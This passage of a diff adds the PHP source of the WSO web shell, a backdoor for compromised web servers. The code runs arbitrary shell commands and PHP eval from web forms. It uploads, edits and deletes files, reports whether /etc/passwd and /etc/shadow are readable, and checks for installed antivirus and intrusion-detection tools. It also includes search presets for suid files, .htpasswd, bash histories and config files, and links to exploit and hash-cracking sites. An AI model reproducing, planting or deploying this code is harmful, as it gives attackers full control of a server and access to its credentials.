suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function printHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = "UTF-8"; + ?> +<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title> +<style> + body { background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; } + td,th { font: 9pt Lucida,Verdana;vertical-align:top; } + table.info { color:#fff;background-color:#222; } + span { color:#df5;font-weight: bolder; } + h1 { color:#df5;border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } + div.content { padding: 5px;margin-left:5px;background-color:#333; } + a { text-decoration:none; color:#df5; } + a:hover { text-decoration:underline; } + .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; } + .bigarea { width:100%;height:250px; } + input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,"Courier New"; } + form { margin:0px; } + #toolsTbl { text-align:center; } + .toolsInp { width: 300px } + .main th{text-align:left;background-color:#5e5e5e;} + .main tr:hover{background-color:#5e5e5e} + .main td, th{vertical-align:middle} + .l1 {background-color:#444} +</style> +<script> + function set(a,c,p1,p2,p3,charset) { + if(a != null)document.mf.a.value=a; + if(c != null)document.mf.c.value=c; + if(p1 != null)document.mf.p1.value=p1; + if(p2 != null)document.mf.p2.value=p2; + if(p3 != null)document.mf.p3.value=p3; + if(charset != null)document.mf.charset.value=charset; + } + function g(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + document.mf.submit(); + } + function a(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + var params = "ajax=true"; + for(i=0;i<document.mf.elements.length;i++) + params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value); + sr('<?=$_SERVER['REQUEST_URI'];?>', params); + } + function sr(url, params) { + if (window.XMLHttpRequest) { + req = new XMLHttpRequest(); + req.onreadystatechange = processReqChange; + req.open("POST", url, true); + req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); + req.send(params); + } + else if (window.ActiveXObject) { + req = new ActiveXObject("Microsoft.XMLHTTP"); + if (req) { + req.onreadystatechange = processReqChange; + req.open("POST", url, true); + req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); + req.send(params); + } + } + } + function processReqChange() { + if( (req.readyState == 4) ) + if(req.status == 200) { + //alert(req.responseText); + var reg = new RegExp("(\\d+)([\\S\\s]*)", "m"); + var arr=reg.exec(req.responseText); + eval(arr[2].substr(0, arr[1])); + } + else alert("Request error!"); + } +</script> +<head><body> +<form method=post name=mf style='display:none;'> +<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'> +<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> +<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'> +<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'> +<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'> +<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> +</form> +<?php + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace?$totalSpace:1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $millink='http://milw0rm.com/search.php?dong='; + if( strpos('Linux', $kernel) !== false ) + $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); + else + $millink .= urlencode( $kernel . ' ' . substr($release,0,3) ); + if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(@posix_geteuid()); + $gid = @posix_getgrgid(@posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + $cwd_links = ''; + $path = explode("/", $GLOBALS['cwd']); + $n=count($path); + for($i=0;$i<$n-1;$i++) { + $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; + for($j=0;$j<=$i;$j++) + $cwd_links .= $path[$j].'/'; + $cwd_links .= "\")'>".$path[$i]."/</a>"; + } + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network', 'Logout'=>'Logout', 'Self remove' => 'SelfRemove'); + $menu = ''; + foreach($m as $k => $v) + $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; + $drives = ""; + if ($GLOBALS['os'] == 'win') { + foreach( range('a','z') as $drive ) + if (is_dir($drive.':\\')) + $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; + } + echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'. + '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'. + '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'. + '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">'; +} + +function printFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>"; +?> +</div> +<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;"> + <tr> + <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td> + <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> + </tr> + <tr> + <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td> + <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td> + </tr> + <tr> + <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> + <td><form method='post' ENCTYPE='multipart/form-data'> + <input type=hidden name=a value='FilesMAn'> + <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> + <input type=hidden name=p1 value='uploadFile'> + <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> + <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td> + </tr> + +</table> +</body></html> +<?php +} +if ( !function_exists("posix_getpwuid") ) { function posix_getpwuid($p) { return false; } } +if ( !function_exists("posix_getgrgid") ) { function posix_getgrgid($p) { return false; } } +function ex($in) { + $out = ''; + if(function_exists('exec')) { + @exec($in,$out); + $out = @join("\n",$out); + }elseif(function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + }elseif(function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + }elseif(function_exists('shell_exec')) { + $out = shell_exec($in); + }elseif(is_resource($f = @popen($in,"r"))) { + $out = ""; + while(!@feof($f)) + $out .= fread($f,1024); + pclose($f); + } + return $out; +} +function viewSize($s) { + if($s >= 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function perms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} +function viewPermsColor($f) { + if (!is_readable($f)) + return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>'; + elseif (!is_writable($f)) + return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>'; + else + return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>'; +} +function which($p) { + $path = ex('which '.$p); + if(!empty($path)) + return $path; + return false; +} +function actionSecInfo() { + echo '<h1>Server security information</h1><div class=content>'; + function showSecParam($n, $v) { + $v = trim($v); + if($v) { + echo '<span>'.$n.': </span>'; + if(strpos($v, "\n") === false) + echo $v.'<br>'; + else + echo '<pre class=ml1>'.$v.'</pre>'; + } + } + + showSecParam('Server software', @getenv('SERVER_SOFTWARE')); + showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); + showSecParam('Open base dir', @ini_get('open_basedir')); + showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=''; + if(function_exists('mysql_get_client_info')) + $temp = mysql_get_client_info(); + showSecParam('MySql support', $temp?$temp:'no'); + showSecParam('MSSql support', function_exists('mssql_connect')?'yes':'no'); + showSecParam('Oracle support', function_exists('oci_connect')?'yes':'no'); + showSecParam('PostgreSQL support', function_exists('oci_connect')?'yes':'no'); + echo '<br>'; + + if( $GLOBALS['os'] == 'nix' ) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); + showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); + showSecParam('OS version', @file_get_contents('/proc/version')); + showSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + echo '<br>'; + $temp=''; + foreach ($userful as $item) + if(which($item)){$temp.=' '.$item;} + showSecParam('Userful', $temp); + $temp=''; + foreach ($danger as $item) + if(which($item)){$temp.=' '.$item;} + showSecParam('Danger', $temp); + $temp=''; + foreach ($downloaders as $item) + if(which($item)){$temp.=' '.$item;} + showSecParam('Downloaders', $temp); + echo '<br/>'; + showSecParam('Hosts', @file_get_contents('/etc/hosts')); + showSecParam('CPU', @file_get_contents('/proc/cpuinfo')); + showSecParam('RAM', ex('free -m')); + showSecParam('HDD space', ex('df -h')); + showSecParam('Mount options', @file_get_contents('/etc/fstab')); + } + } else { + showSecParam('OS Version',ex('ver')); + showSecParam('Account Settings',ex('net accounts')); + showSecParam('User Accounts',ex('net user')); + } + echo '</div>'; +} + +function actionPhp() { + if( isset($_POST['ajax']) ) { + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if( isset($_POST['p1']) && ($_POST['p1'] == 'info') ) { + echo '<h1>PHP info</h1><div class=content>'; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace('!body {.*}!msiU','',$tmp); + $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); + $tmp = preg_replace('!h1!msiU','h2',$tmp); + $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); + $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); + echo $tmp; + echo '</div><br>'; + } + echo '<h1>Execution PHP-code</h1><div class=content><textarea class=bigarea id=PhpCode></textarea><input type=button value=Eval style="margin-top:5px" onclick="a(null,null,document.getElementById(\'PhpCode\').value);"><pre id=PhpOutput style="display:none;margin-top:5px;" class=ml1></pre></div>'; +} + +function actionFilesMan() { + echo '<h1>File manager</h1><div class=content>'; + if(isset($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_SESSION['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = opendir($c.$s); + while (($f = readdir($h)) !== false) + if (($f != ".") and ($f != "..")) { + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } + } elseif(is_file($c.$s)) { + @copy($c.$s, $d.$s); + } + } + foreach($_SESSION['f'] as $f) + copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); + } elseif($_SESSION['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = opendir($c.$s); + while (($f = readdir($h)) !== false) + if (($f != ".") and ($f != "..")) { + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } + } elseif(is_file($c.$s)) { + @copy($c.$s, $d.$s); + } + } + foreach($_SESSION['f'] as $f) + @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); + } + unset($_SESSION['f']); + break; + default: + if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { + $_SESSION['act'] = @$_POST['p1']; + $_SESSION['f'] = @$_POST['f']; + foreach($_SESSION['f'] as $k => $f) + $_SESSION['f'][$k] = urldecode($f); + $_SESSION['cwd'] = @$_POST['c']; + } + break; + } + echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>'; + } + $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!'; return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +?> +<script> + function sa() { + for(i=0;i<document.files.elements.length;i++) + if(document.files.elements[i].type == 'checkbox') + document.files.elements[i].checked = document.files.elements[0].checked; + } +</script> +<table width='100%' class='main' cellspacing='0' cellpadding='2'> +<form name=files method=post> +<?php + echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(null,null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(null,null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(null,null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(null,null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; + $dirs = $files = $links = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = posix_getpwuid(@fileowner($dirContent[$i])); + $gr = posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), + 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(is_file($GLOBALS['cwd'].$dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(is_link($GLOBALS['cwd'].$dirContent[$i])) + $links[] = array_merge($tmp, array('type' => 'link')); + elseif(is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function cmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "cmp"); + usort($dirs, "cmp"); + usort($links, "cmp"); + $files = array_merge($dirs, $links, $files); + $l = 0; + foreach($files as $f) { + echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] + .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; + $l = $l?0:1; + } + ?> + <tr><td colspan=7> + <input type=hidden name=a value='FilesMan'> + <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> + <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> + <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr> + </form></table></div> + <?php +} + +function actionStringTools() { + if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} + if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} + if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}} + if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} + + if(isset($_POST['ajax'])) { + ob_start(); + if(function_exists($_POST['p1'])) + echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + echo '<h1>String conversions</h1><div class=content>'; + $stringTools = array( + 'Base64 encode' => 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'bin2hex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + echo "<form name='toolsForm' onSubmit='a(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>"; + foreach($stringTools as $k => $v) + echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; + echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea></textarea></form><pre class='ml1' style='display:none;margin-top:5px' id='strOutput'></pre></div>"; + ?> + <br><h1>Search for hash:</h1><div class=content> + <form method='post' target='_blank' name="hf"> + <input type="text" name="hash" style="width:200px;"><br> + <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br> + <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br> + <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br> + <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br> + <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br> + </form> + </div> + <?php +} + +function actionFilesTools() { + if( isset($_POST['p1']) ) + $_POST['p1'] = urldecode($_POST['p1']); + if( @$_POST['p2']!='download' && @$_POST['p2'] != 'mkfile' ) { + echo '<h1>File tools</h1><div class=content>'; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + $gid = @posix_getgrgid(@fileowner($_POST['p1'])); + echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; + echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; + echo '<br><br>'; + } + switch($_POST['p2']) { + case 'view': + echo '<pre class=ml1>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</pre>'; + break; + case 'highlight': + if( is_readable($_POST['p1']) ) { + echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; + /*$source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", file_get_contents($_POST['p1']))); + $formatted_code = ""; + foreach ($source_code as $code_line) { + if (ereg('<\?(php)?[^[:graph:]]', $code_line)) + $formatted_code .= '<li>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</li>'; + else + $formatted_code .= '<li>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</li>'; + } + echo '<ol>'.str_replace(array('<span ','</span>'), array('<font ','</font>'),$formatted_code).'</ol></div>'; + */ + $code = highlight_file($_POST['p1'],true); + echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; + } + break; + case 'download': + if(is_file($_POST['p1']) && is_readable($_POST['p1'])) { + header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: ".$type); + } + $fp = @fopen($_POST['p1'], "r"); + if($fp) { + while(!@feof($fp)) + echo @fread($fp, 1024); + fclose($fp); + } + } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) { + + } + exit; + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; + else + die('<script>g(null,null,null,null,"")</script>'); + } + echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod 